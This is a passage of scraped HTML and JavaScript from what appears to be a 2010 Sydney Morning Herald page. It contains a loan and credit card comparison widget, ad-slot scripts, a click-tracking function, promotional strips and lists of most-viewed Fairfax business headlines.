href=\"#http://mozo.com.au/activity/record_gts2?product_id=67&amp;product_type=CreditCard&amp;provider_id=7&amp;path=/feed/fairfax_widget_03&amp;position=3&amp;the_url=ad.au.doubleclick.net/clk;219508103;42723872;d&amp;partial=fairfax_widget_03&amp;tab_name=credit cards&amp;alternatives=[66, 22, 89]&amp;tabName=Credit Cards\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><dl class=\"last\"><dt><strong>Citibank</strong>Platinum Card</dt><dd><em>20.49%</em><span/></dd><dd class=\"last\"><a class=\"applyParamsForExternal\" href=\"#http://mozo.com.au/activity/record_gts2?product_id=89&amp;product_type=CreditCard&amp;provider_id=29&amp;path=/feed/fairfax_widget_03&amp;position=4&amp;the_url=www.citibank.com.au/cardsoffer/0909PlatFlyFree.htm%3fCode=P1C79HYQ&amp;partial=fairfax_widget_03&amp;tab_name=credit cards&amp;alternatives=[66, 22, 67]&amp;tabName=Credit Cards\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><a class=\"more\" target=\"_blank\" href=\"/credit-cards\">Compare all credit cards</a></div></li><li class=\"tab4\"><h4><a rel=\"nofollow\" href=\"http://mozo.com.au/activity/record_widget_link/3/home%20loans?tabName=Home Loans#\" class=\"cN-externalTarget\">Home Loans</a></h4><div><p><span>Percentages denote the </span>comparison rate</p><dl><dt><strong>MyRate.com.au</strong>Advantage Loan </dt><dd><em>5.84%</em><span/></dd><dd class=\"last\"><a class=\"applyParamsForExternal\" href=\"#http://mozo.com.au/activity/record_gts2?product_id=289&amp;product_type=HomeLoan&amp;provider_id=83&amp;path=/feed/fairfax_widget_03&amp;position=1&amp;the_url=www.myrate.com.au/save%3fa_id=mozo_listing&amp;partial=fairfax_widget_03&amp;tab_name=home loans&amp;alternatives=[372, 379, 170]&amp;tabName=Home Loans\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><dl><dt><strong>Laiki Bank</strong>Options Plus</dt><dd><em>6.00%</em><span/></dd><dd class=\"last\"><a class=\"applyParamsForExternal\" href=\"#http://mozo.com.au/activity/record_gts2?product_id=372&amp;product_type=HomeLoan&amp;provider_id=167&amp;path=/feed/fairfax_widget_03&amp;position=2&amp;the_url=www.laiki.com/web/w3au.nsf/WebPromotionDocsByID/ID-F3FBE78446C1B0BFCA2573330023C634&amp;partial=fairfax_widget_03&amp;tab_name=home loans&amp;alternatives=[289, 379, 170]&amp;tabName=Home Loans\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><dl><dt><strong>Aussie</strong>Classic Line of Credit</dt><dd><em>6.52%</em><span/></dd><dd class=\"last\"><a class=\"applyParamsForExternal\" href=\"#http://mozo.com.au/activity/record_gts2?product_id=379&amp;product_type=HomeLoan&amp;provider_id=10&amp;path=/feed/fairfax_widget_03&amp;position=3&amp;the_url=clk.atdmt.com/AUS/go/188865657/direct/01/ &amp;partial=fairfax_widget_03&amp;tab_name=home loans&amp;alternatives=[289, 372, 170]&amp;tabName=Home Loans\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><dl class=\"last\"><dt><strong>Aussie</strong>Standard Fixed</dt><dd><em>6.77%</em><span/></dd><dd class=\"last\"><a class=\"applyParamsForExternal\" href=\"#http://mozo.com.au/activity/record_gts2?product_id=170&amp;product_type=HomeLoan&amp;provider_id=10&amp;path=/feed/fairfax_widget_03&amp;position=4&amp;the_url=clk.atdmt.com/AUS/go/188865657/direct/01/ &amp;partial=fairfax_widget_03&amp;tab_name=home loans&amp;alternatives=[289, 372, 379]&amp;tabName=Home Loans\" target=\"_blank\" rel=\"nofollow\">Get info</a></dd></dl><a class=\"more\" target=\"_blank\" href=\"/home-loans\">Compare all home loans</a></div></li></ul>\n\n        <div id=\"adspot-295x60\" class=\"ad \"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-295x60\",\n            iframeId: \"adspot-295x60-iframe\",\n                src:[\n                        FD.baseAd.src + 'POS=1/',\n                        FD.baseAd.src + 'POS=2/',\n                        FD.baseAd.src + 'POS=3/'\n                ],\n            params: $merge($merge(FD.baseAd.params, {\n                aamsz : \"295x60\"\n        }),getAdParams(\"295x60\"))\n\n            ,addSmall: \"top\"\n            ,smallText: \"Sponsored links\"\n            })\n        );\n    }\n);\n\n</script>\n\n        <div id=\"adspot-1x4\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-1x4\",\n            iframeId: \"adspot-1x4-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                aamsz : \"1x4\"\n        }),getAdParams(\"1x4\"))\n\n            ,height: 150\n            ,width: 300\n            ,addSmall: true\n            })\n        );\n    }\n);\n\n</script>\n\n        <div id=\"adspot-300x250-pos-2\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-300x250-pos-2\",\n            iframeId: \"adspot-300x250-pos-2-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                    pos: 2,\n                aamsz : \"300x250\"\n        }),getAdParams(\"300x250\"))\n\n            ,addSmall: true\n            })\n        );\n    }\n);\n\n</script>\n\n\n\n\n    </div>\n\n    <!-- Footer fN-footerNetwork (class according to new HTML5 element 'footer'; scope: network-wide) -->\n<div class=\"footer span-24\">\n    <script type=\"text/javascript\">\nfunction trackOmnitureClick(anchor,identifier) {\n  var hash = \"\";\n  var hashIndex = anchor.href.indexOf(\"#\");\n  if (hashIndex > -1) {\n      hash = anchor.href.substring(hashIndex);\n      anchor.href = anchor.href.substring(0, hashIndex);\n  }\n  if(anchor.href.indexOf(\"s_rid\") > -1) {\n      // Remove any s_rid's\n      anchor.href = anchor.href.replace(/[\\??|&?]s_rid=(.*)/i, \"\");\n  }\n  if(anchor.href.indexOf(\"s_cid\") > -1) {\n      // Strip any s_cid's\n      anchor.href = anchor.href.replace(/[\\??|&?]s_cid=(.*)/i, \"\");\n  }\n  var query = (anchor.href.indexOf(\"?\") > -1) ? \"&\" : \"?\";\n  anchor.href += query + \"s_rid=\"+identifier;\n  if (hashIndex > -1) {\n      anchor.href += hash;\n  }\n  return true;\n}\n</script>\n\n\n<div class=\"c5 classifieds cfix\">\n\n                  <div class=\"s1 cBusinessDay\">\n                      <h2><a title=\"Business\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:label:fatcats_172x115');\" href=\"http://www.businessday.com.au\">Business</a></h2>\n                            <div class=\"puff\">\n                                    <a href=\"http://www.smh.com.au/business/executive-pay-given-a-reprieve-20100103-lnas.html\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content1:04-01:fatcats_172x115');\" ><img src=\"http://images.smh.com.au/2010/01/04/1010993/fatcats_172x115-172x115.jpg\" width=\"172\" alt=\"Fat cats\"/></a>\n\n                                <h5><a href=\"http://www.smh.com.au/business/executive-pay-given-a-reprieve-20100103-lnas.html\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content2:04-01:fatcats_172x115:executivepaygivenareprieve');\" title=\"Executive pay given a reprieve\">Executive pay given a reprieve</a></h5>\n                            </div>\n                            <ul>\n                                <li class=\"lBusinessDay\"><a href=\"http://www.businessday.com.au\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:logo:04-01:fatcats_172x115');\">Businessday.com.au</a></li>\n                           <li><a href=\"http://www.smh.com.au/business/\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet1:04-01:fatcats_172x115:latestbusinessnews');\">Latest Business news</a></li>\n                           <li><a href=\"http://www.smh.com.au/executive-style/\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet2:04-01:fatcats_172x115:executivestyle');\">Executive Style</a></li>\n                           <li><a href=\"http://www.smh.com.au/small-business\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet3:04-01:fatcats_172x115:mysmallbusiness');\">MySmallBusiness</a></li>\n                      </ul>\n                  </div>\n                  <div class=\"s2 cBusinessDay\">\n                      <h2><a title=\"Business\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:label:nab_172x115');\" href=\"http://www.businessday.com.au\">Business</a></h2>\n                            <div class=\"puff\">\n                                    <a href=\"http://www.smh.com.au/business/nab-set-to-pounce-on-northern-rock-20100104-lnxs.html\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content1:04-01:nab_172x115');\" ><img src=\"http://images.smh.com.au/2010/01/04/1012429/nab_172x115-172x115.jpg\" width=\"172\" alt=\"NAB\"/></a>\n\n                                <h5><a href=\"http://www.smh.com.au/business/nab-set-to-pounce-on-northern-rock-20100104-lnxs.html\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content2:04-01:nab_172x115:nabsettopounceonnorthernrock');\" title=\"NAB set to pounce on Northern Rock\">NAB set to pounce on Northern Rock</a></h5>\n                            </div>\n                            <ul>\n                                <li class=\"lBusinessDay\"><a href=\"http://www.businessday.com.au\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:logo:04-01:nab_172x115');\">Businessday.com.au</a></li>\n                           <li><a href=\"http://www.smh.com.au/business/markets\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet1:04-01:nab_172x115:marketreports');\">Market Reports</a></li>\n                           <li><a href=\"http://www.smh.com.au/business/money/\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet2:04-01:nab_172x115:moneynews');\">Money news</a></li>\n                           <li><a href=\"http://www.smh.com.au/business/property\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet3:04-01:nab_172x115:propertyfocus');\">Property Focus</a></li>\n                      </ul>\n                  </div>\n                  <div class=\"s3 cSmh\">\n                      <h2><a title=\"Video\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:label:dustin');\" href=\"http://www.smh.com.au\">Video</a></h2>\n                            <div class=\"puff\">\n                                    <a href=\"http://media.fairfax.com.au/?rid=56862\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content1:05-01:dustin');\" ><img src=\"http://images.smh.com.au/2010/01/05/1015399/dustin-172x115.jpg\" width=\"172\" alt=\"Dustin Hoffman\"/></a>\n\n                                <h5><a href=\"http://media.fairfax.com.au/?rid=56862\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content2:05-01:dustin:dustinhoffmansitaliantourismad');\" title=\"Dustin Hoffman's Italian tourism ad\">Dustin Hoffman's Italian tourism ad</a></h5>\n                            </div>\n                            <ul>\n                                <li class=\"lSmh\"><a href=\"http://www.smh.com.au\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:logo:05-01:dustin');\">Smh.com.au</a></li>\n                           <li><a href=\"http://media.smh.com.au/lifestyle/essentials\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet1:07-12:dustin:life&stylevideos');\">Life & Style videos</a></li>\n                           <li><a href=\"http://media.smh.com.au/entertainment/red-carpet\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet2:07-12:dustin:entertainmentvideos');\">Entertainment videos</a></li>\n                           <li><a href=\"http://media.smh.com.au/business/businessday\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet3:07-12:dustin:businessvideos');\">Business videos</a></li>\n                      </ul>\n                  </div>\n                  <div class=\"s4 cInvestSmart\">\n                      <h2><a title=\"InvestSMART\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:label:2009lights');\" href=\"http://www.investsmart.com.au\">InvestSMART</a></h2>\n                            <div class=\"puff\">\n                                    <a href=\"http://www.investsmart.com.au/managed-funds/top-managed-funds.asp?s_cid=promostrip:top2009\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content1:05-01:2009lights');\" ><img src=\"http://images.smh.com.au/2010/01/05/1015432/2009lights-172x115.gif\" width=\"172\" alt=\"2009\"/></a>\n\n                                <h5><a href=\"http://www.investsmart.com.au/managed-funds/top-managed-funds.asp?s_cid=promostrip:top2009\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content2:05-01:2009lights:topperforminginvestmentfundsattheendof2009');\" title=\"Top Performing Investment Funds at the end of 2009\">Top Performing Investment Funds at the end of 2009</a></h5>\n                            </div>\n                            <ul>\n                                <li class=\"lInvestSmart\"><a href=\"http://www.investsmart.com.au\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:logo:05-01:2009lights');\">Investsmart.com.au</a></li>\n                           <li><a href=\"http://www.investsmart.com.au/share_trading/open_account.asp\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet1:23-10:2009lights:openanaccount');\">Open an account</a></li>\n                           <li><a href=\"http://www.investsmart.com.au/managed-funds/top-managed-funds.asp\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet2:23-10:2009lights:topperformingmanagedfunds');\">Top Performing Managed Funds</a></li>\n                           <li><a href=\"http://www.investsmart.com.au/share_trading/open_account.asp\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet3:23-10:2009lights:sharetrading');\">Share Trading</a></li>\n                      </ul>\n                  </div>\n                  <div class=\"s5 cSmh\">\n                      <h2><a title=\"Sport\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:label:jwrainbow3');\" href=\"http://www.smh.com.au\">Sport</a></h2>\n                            <div class=\"puff\">\n                                    <a href=\"http://pages.email.fairfax.com.au/smh/jwsummerofcricket?s_cid=rainbow:smh:johnniewalkercricket:dec09:feb10\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content1:04-01:jwrainbow3');\" ><img src=\"http://images.smh.com.au/2010/01/04/1012523/JWRainbow3-172x115.jpg\" width=\"172\" alt=\"WIN\"/></a>\n\n                                <h5><a href=\"http://pages.email.fairfax.com.au/smh/jwsummerofcricket?s_cid=rainbow:smh:johnniewalkercricket:dec09:feb10\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:content2:04-01:jwrainbow3:winweeklyjohnniewalkerprizes');\" title=\"Win weekly Johnnie Walker prizes\">Win weekly Johnnie Walker prizes</a></h5>\n                            </div>\n                            <ul>\n                                <li class=\"lSmh\"><a href=\"http://www.smh.com.au\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:logo:04-01:jwrainbow3');\">Smh.com.au</a></li>\n                           <li><a href=\"http://www.smh.com.au/sport/cricket\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet1:21-12:jwrainbow3:cricketnews');\">Cricket news</a></li>\n                           <li><a href=\"http://www.smh.com.au/sport/cricket\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet2:21-12:jwrainbow3:livecricketscores');\">Live cricket scores</a></li>\n                           <li><a href=\"http://www.smh.com.au/sport/\" onclick=\"trackOmnitureClick(this,'smh:rainbowstrip:bullet3:21-12:jwrainbow3:latestinsport');\">Latest in Sport</a></li>\n                      </ul>\n                  </div>\n\n</div>\n\n\n\n    <div class=\"c5 affStrip\">\n    <h2>Compare and Save</h2>\n    <ul>\n        <li ><a href=\"http://broadband.smh.com.au/Broadband/\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:link')\">Broadband</a></li>\n        <li ><a href=\"http://smh.goswitch.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:link')\">Energy</a></li>\n        <li ><a href=\"http://mobile-phones.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:link')\">Mobile</a></li>\n        <li ><a href=\"http://compare.smh.com.au/home-loans\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:link')\">Home Loans</a></li>\n        <li class=\"last\"><a href=\"http://compare.smh.com.au/savings-accounts\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:link')\">Savings Accounts</a></li>\n</ul>\n\n    <span></span>\n        <div>\n            <h3><a href=\"http://compare.smh.com.au/term-deposits\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content0')\">Grab what you can!</a></h3>\n                <a href=\"http://compare.smh.com.au/term-deposits\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:affiliatestrip:content0:td---grab 5 jan');\" ><img src=\"http://images.smh.com.au/2010/01/05/1014762/TD---Grab 5 Jan-60x90.jpg\" width=\"60\" alt=\"TD---Grab 5 Jan\"/></a>\n\n            <p><a href=\"http://compare.smh.com.au/term-deposits\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content0')\">A show of hands for the best term deposit.</a></p>\n            <p class=\"links\"><a href=\"http://compare.smh.com.au/term-deposits\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content0')\">Compare all Term Deposits</a></p>\n    </div>\n    <div>\n            <h3><a href=\"http://compare.smh.com.au/savings-accounts\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content1')\">Gimme gimme gimme!</a></h3>\n                <a href=\"http://compare.smh.com.au/savings-accounts\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:affiliatestrip:content1:cc---gold-diggers 21 dec');\" ><img src=\"http://images.smh.com.au/2009/12/21/991026/CC---Gold-Diggers 21 Dec-60x90.jpg\" width=\"60\" alt=\"CC---Gold-Diggers 21 Dec\"/></a>\n\n            <p><a href=\"http://compare.smh.com.au/savings-accounts\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content1')\">Earn 5.51% on your savings</a></p>\n            <p class=\"links\"><a href=\"http://compare.smh.com.au/savings-accounts\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content1')\">Compare all Savings Accounts</a></p>\n    </div>\n    <div>\n            <h3><a href=\"http://thecellar.thecorridor.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content2')\">Discounted Wine @ The Corridor</a></h3>\n                <a href=\"http://thecellar.thecorridor.com.au/\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:affiliatestrip:content2:ishop 14 dec');\" ><img src=\"http://images.smh.com.au/2009/12/14/968217/iShop 14 Dec-60x90.jpg\" width=\"60\" alt=\"iShop 14 Dec\"/></a>\n\n            <p><a href=\"http://thecellar.thecorridor.com.au/\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content2')\">Up to 25% off all off our wine @ The Corridor. Over 35 well known brands on sale</a></p>\n            <p class=\"links\"><a href=\"http://thecellar.thecorridor.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content2')\">Compare our prices today</a></p>\n    </div>\n    <div>\n            <h3><a href=\"http://mobile-phones.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content3')\">Mobile Phone Plans</a></h3>\n                <a href=\"http://mobile-phones.smh.com.au\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:affiliatestrip:content3:mobile_60x90_phone 18 dec');\" ><img src=\"http://images.smh.com.au/2009/12/18/984193/mobile_60x90_phone 18 Dec-60x90.gif\" width=\"60\" alt=\"mobile_60x90_phone 18 Dec\"/></a>\n\n            <p><a href=\"http://mobile-phones.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content3')\">Compare iPhones and Mobile Plans for Christmas.</a></p>\n            <p class=\"links\"><a href=\"http://mobile-phones.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content3')\">Compare Mobile Phones & Plans</a></p>\n    </div>\n    <div class=\"last\">\n            <h3><a href=\"http://broadband.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content4')\">Broadband Plans</a></h3>\n                <a href=\"http://broadband.smh.com.au/Broadband/\" rel=\"nofollow\" onclick=\"trackOmnitureClick(this,'smh:affiliatestrip:content4:bband_60x90_laptop 18 dec');\" ><img src=\"http://images.smh.com.au/2009/12/18/984311/bband_60x90_laptop 18 Dec-60x90.gif\" width=\"60\" alt=\"bband_60x90_laptop 18 Dec\"/></a>\n\n            <p><a href=\"http://broadband.smh.com.au/Broadband/\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content4')\">Broadband Plans to cope with your Christmas downloads</a></p>\n            <p class=\"links\"><a href=\"http://broadband.smh.com.au\" onclick=\"trackOmnitureClick(this, 'smh:affiliatestrip:content4')\">Compare all Broadband Plans</a></p>\n    </div>\n\n</div>\n\n\n<!-- Reader's most viewed -->\n<div class=\"c5 top5 cfix\">\n    <h2 class=\"cfix\">Readers' most viewed</h2>\n\n            <div class=\"s1 lBT\">\n                <a href=\"http://www.brisbanetimes.com.au\">Most viewed articles on Brisbane Times</a>\n                <h5>Top 5 <a href=\"http://www.brisbanetimes.com.au/business\">Business</a> articles</h5>\n    <ol>\n            <li><a href=\"http://www.brisbanetimes.com.au/business/queenslands-cheapest-beachfront-address-20100106-ltfu.html\" title=\"Queensland's cheapest beachfront address \" style=\"\">Queensland's cheapest beachfront address </a></li>\n            <li><a href=\"http://www.brisbanetimes.com.au/business/queenslands-shonky-business-capital-revealed-20100106-lsqd.html\" title=\"Queensland's shonky business capital revealed\" style=\"\">Queensland's shonky business capital revealed</a></li>\n            <li><a href=\"http://www.brisbanetimes.com.au/business/westpac-rate-rise-pushes-customers-to-switch-banks-20100105-lsbd.html\" title=\"Westpac rate rise 'pushes customers to switch banks'\" style=\"\">Westpac rate rise 'pushes customers to switch banks'</a></li>\n            <li><a href=\"http://www.brisbanetimes.com.au/business/jetstar-and-airasia-in-lowcost-alliance-20100106-lsze.html\" title=\"Jetstar and AirAsia in low-cost alliance\" style=\"\">Jetstar and AirAsia in low-cost alliance</a></li>\n            <li><a href=\"http://www.brisbanetimes.com.au/business/red-hot-property-sector-points-to-rate-rise-20100106-ltb6.html\" title=\"'Red hot' property sector points to rate rise\" style=\"\">'Red hot' property sector points to rate rise</a></li>\n    </ol>\n\n            </div>\n            <div class=\"s2 lWAToday\">\n                <a href=\"http://www.watoday.com.au\">Most viewed articles on WA Today</a>\n                <h5>Top 5 <a href=\"http://www.watoday.com.au/business\">Business</a> articles</h5>\n    <ol>\n            <li><a href=\"http://www.watoday.com.au/business/westpac-customers-walk-over-rate-rise-20100105-lscq.html\" title=\"Westpac customers walk over rate rise\" style=\"\">Westpac customers walk over rate rise</a></li>\n            <li><a href=\"http://www.watoday.com.au/business/a-strikes-twoyear-high-against-the-euro-20100105-ls79.html\" title=\"$A strikes two-year high against the euro\" style=\"\">$A strikes two-year high against the euro</a></li>\n            <li><a href=\"http://www.watoday.com.au/business/rip-out-vines-wine-industry-told-20100105-lsdj.html\" title=\"Rip out vines, wine industry told\" style=\"\">Rip out vines, wine industry told</a></li>\n            <li><a href=\"http://www.watoday.com.au/business/webjet-is-just-the-ticket-20100105-lsdu.html\" title=\"Webjet is just the ticket\" style=\"\">Webjet is just the ticket</a></li>\n            <li><a href=\"http://www.watoday.com.au/business/red-hot-property-sector-points-to-rate-rise-20100106-ltb6.html\" title=\"'Red hot' property sector points to rate rise\" style=\"\">'Red hot' property sector points to rate rise</a></li>\n    </ol>\n\n            </div>\n            <div class=\"s3 lAge\">\n                <a href=\"http://www.theage.com.au\">Most viewed articles on The Age</a>\n                <h5>Top 5 <a href=\"http://www.theage.com.au/business\">Business</a> articles</h5>\n    <ol>\n            <li><a href=\"http://www.theage.com.au/business/westpac-customers-walk-over-rate-rise-20100105-lscq.html\" title=\"Westpac customers walk over rate rise\" style=\"\">Westpac customers walk over rate rise</a></li>\n            <li><a href=\"http://www.theage.com.au/business/a-strikes-twoyear-high-against-the-euro-20100105-ls79.html\" title=\"$A strikes two-year high against the euro\" style=\"\">$A strikes two-year high against the euro</a></li>\n            <li><a href=\"http://www.theage.com.au/business/rip-out-vines-wine-industry-told-20100105-lsdj.html\" title=\"Rip out vines, wine industry told\" style=\"\">Rip out vines, wine industry told</a></li>\n            <li><a href=\"http://www.theage.com.au/business/red-hot-property-sector-points-to-rate-rise-20100106-ltb6.html\" title=\"'Red hot' property sector points to rate rise\" style=\"\">'Red hot' property sector points to rate rise</a></li>\n            <li><a href=\"http://www.theage.com.au/business/markets/shares-flat-as-miners-offset-bank-falls-20100106-lsod.html\" title=\"Shares flat as miners offset bank falls\" style=\"\">Shares flat as miners offset bank falls</a></li>\n    </ol>\n\n            </div>\n            <div class=\"s4 lSmh\">\n                <a href=\"http://www.smh.com.au\">Most viewed articles on The Sydney Morning Herald</a>\n                <h5>Top 5 <a href=\"http://www.smh.com.au/business\">Business</a> articles</h5>\n    <ol>\n            <li><a href=\"http://www.smh.com.au/business/westpac-rate-rise-pushes-customers-to-switch-banks-20100105-lsbd.html\" title=\"Westpac rate rise 'pushes customers to switch banks'\" style=\"\">Westpac rate rise 'pushes customers to switch banks'</a></li>\n            <li><a href=\"http://www.smh.com.au/business/a-strikes-twoyear-high-against-the-euro-20100105-ls79.html\" title=\"$A strikes two-year high against the euro\" style=\"\">$A strikes two-year high against the euro</a></li>\n            <li><a href=\"http://www.smh.com.au/business/red-hot-property-sector-points-to-rate-rise-20100106-ltb6.html\" title=\"'Red hot' property sector points to rate rise\" style=\"\">'Red hot' property sector points to rate rise</a></li>\n            <li><a href=\"http://www.smh.com.au/business/jetstar-and-airasia-in-lowcost-alliance-20100106-lsze.html\" title=\"Jetstar and AirAsia in low-cost alliance\" style=\"\">Jetstar and AirAsia in low-cost alliance</a></li>\n            <li><a href=\"http://www.smh.com.au/business/rip-out-vineyards-lehmann-20100105-ls76.html\" title=\"Rip out vineyards: Lehmann\" style=\"\">Rip out vineyards: Lehmann</a></li>\n    </ol>\n\n            </div>\n            <div class=\"s5\">\n                <h5>Videos</h5>\n    <ol>\n            <li><a href=\"http://media.smh.com.au/sport/sports-hq/rooney-key-for-man-united-1017709.html\" title=\"Rooney key for Man United\" style=\"\">Rooney key for Man United</a></li>\n            <li><a href=\"http://media.smh.com.au/entertainment/red-carpet/nude-hawkins-cover-defended-1012683.html\" title=\"Nude Hawkins cover defended\" style=\"\">Nude Hawkins cover defended</a></li>\n            <li><a href=\"http://media.smh.com.au/watson-chokes-on-a-ton-again-1015990.html\" title=\"Watson chokes on a ton again\" style=\"\">Watson chokes on a ton again</a></li>\n            <li><a href=\"http://media.smh.com.au/world/world-news/uk-endures-deep-freeze-1016948.html\" title=\"UK endures deep freeze\" style=\"\">UK endures deep freeze</a></li>\n            <li><a href=\"http://media.smh.com.au/national/national-news/1911-antarctic-plane-recovered-1017703.html\" title=\"1911 Antarctic plane recovered\" style=\"\">1911 Antarctic plane recovered</a></li>\n    </ol>\n\n            </div>\n</div>\n\n    <div id=\"adspot-468x60-pos-2\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-468x60-pos-2\",\n            iframeId: \"adspot-468x60-pos-2-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                    pos: 2,\n                    adtype: 'panorama',\n                aamsz : \"468x60\"\n        }),getAdParams(\"468x60\"))\n\n            })\n        );\n    }\n);\n\n</script>\n    <!-- Footer section links -->\n    <ul class=\"fSectionLinks cfix\">\n            <li ><a href=\"http://www.smh.com.au/\" title=\"SMH Home\">SMH Home</a></li>\n            <li ><a href=\"http://www.smh.com.au/news/national/\" title=\"National\">National</a></li>\n            <li ><a href=\"http://www.smh.com.au/news/world/\" title=\"World\">World</a></li>\n            <li ><a href=\"http://www.smh.com.au/opinion\" title=\"Opinion\">Opinion</a></li>\n            <li ><a href=\"http://www.smh.com.au/business/\" title=\"Business\">Business</a></li>\n            <li ><a href=\"http://www.smh.com.au/technology/\" title=\"Technology\">Technology</a></li>\n            <li ><a href=\"http://www.smh.com.au/sport/\" title=\"Sport\">Sport</a></li>\n            <li ><a href=\"http://www.smh.com.au/entertainment/\" title=\"Entertainment\">Entertainment</a></li>\n            <li ><a href=\"http://www.smh.com.au/lifestyle/\" title=\"Life & Style\">Life & Style</a></li>\n            <li ><a href=\"http://www.smh.com.au/travel/\" title=\"Travel\">Travel</a></li>\n            <li class=\"last\"><a href=\"http://weather.smh.com.au/local.jsp\" title=\"Weather\">Weather</a></li>\n    </ul>\n\n    <!-- Footer masthead links and copyright -->\n<div class=\"fMastheadLinks cfix\">\n            <ul class=\"span-4 cfix\">\n        <li class=\"first\"><h5>Sydney Morning Herald</h5></li>\n            <li><a href=\"http://www.smh.com.au/siteguide/\" title=\"Sitemap\">Sitemap</a></li>\n            <li><a href=\"http://www.smh.com.au/aboutsmh/index.html\" title=\"About Us\">About Us</a></li>\n            <li><a href=\"http://www.smh.com.au/contacts/\" title=\"Contact Us\">Contact Us</a></li>\n            <li><a href=\"http://www.fairfax.com.au/privacy\" title=\"Privacy\">Privacy</a></li>\n            <li><a href=\"http://www.fairfax.com.au/conditions\" title=\"Conditions\">Conditions</a></li>\n            <li><a href=\"http://www.fairfax.com.au/agreement\" title=\"Member Agreement\">Member Agreement</a></li>\n            <li><a href=\"http://www.adcentre.com.au/fairfax-digital-network.aspx\" title=\"Advertise with Us\">Advertise with Us</a></li>\n    </ul>\n\n            <ul class=\"span-4 cfix\">\n        <li class=\"first\"><h5>Products & Services</h5></li>\n            <li><a href=\"https://membercentre.fairfax.com.au/NewsletterSubscription.aspx\" title=\"Newsletters\">Newsletters</a></li>\n            <li><a href=\"http://www.smh.com.au/rssheadlines\" title=\"RSS News Feeds\">RSS News Feeds</a></li>\n            <li><a href=\"http://www.smh.com.au/mobile/\" title=\"Mobile\">Mobile</a></li>\n            <li><a href=\"http://www.smh.com.au/text/\" title=\"Text\">Text</a></li>\n            <li><a href=\"http://subscriptions.fairfax.com.au/smhlanding/\" 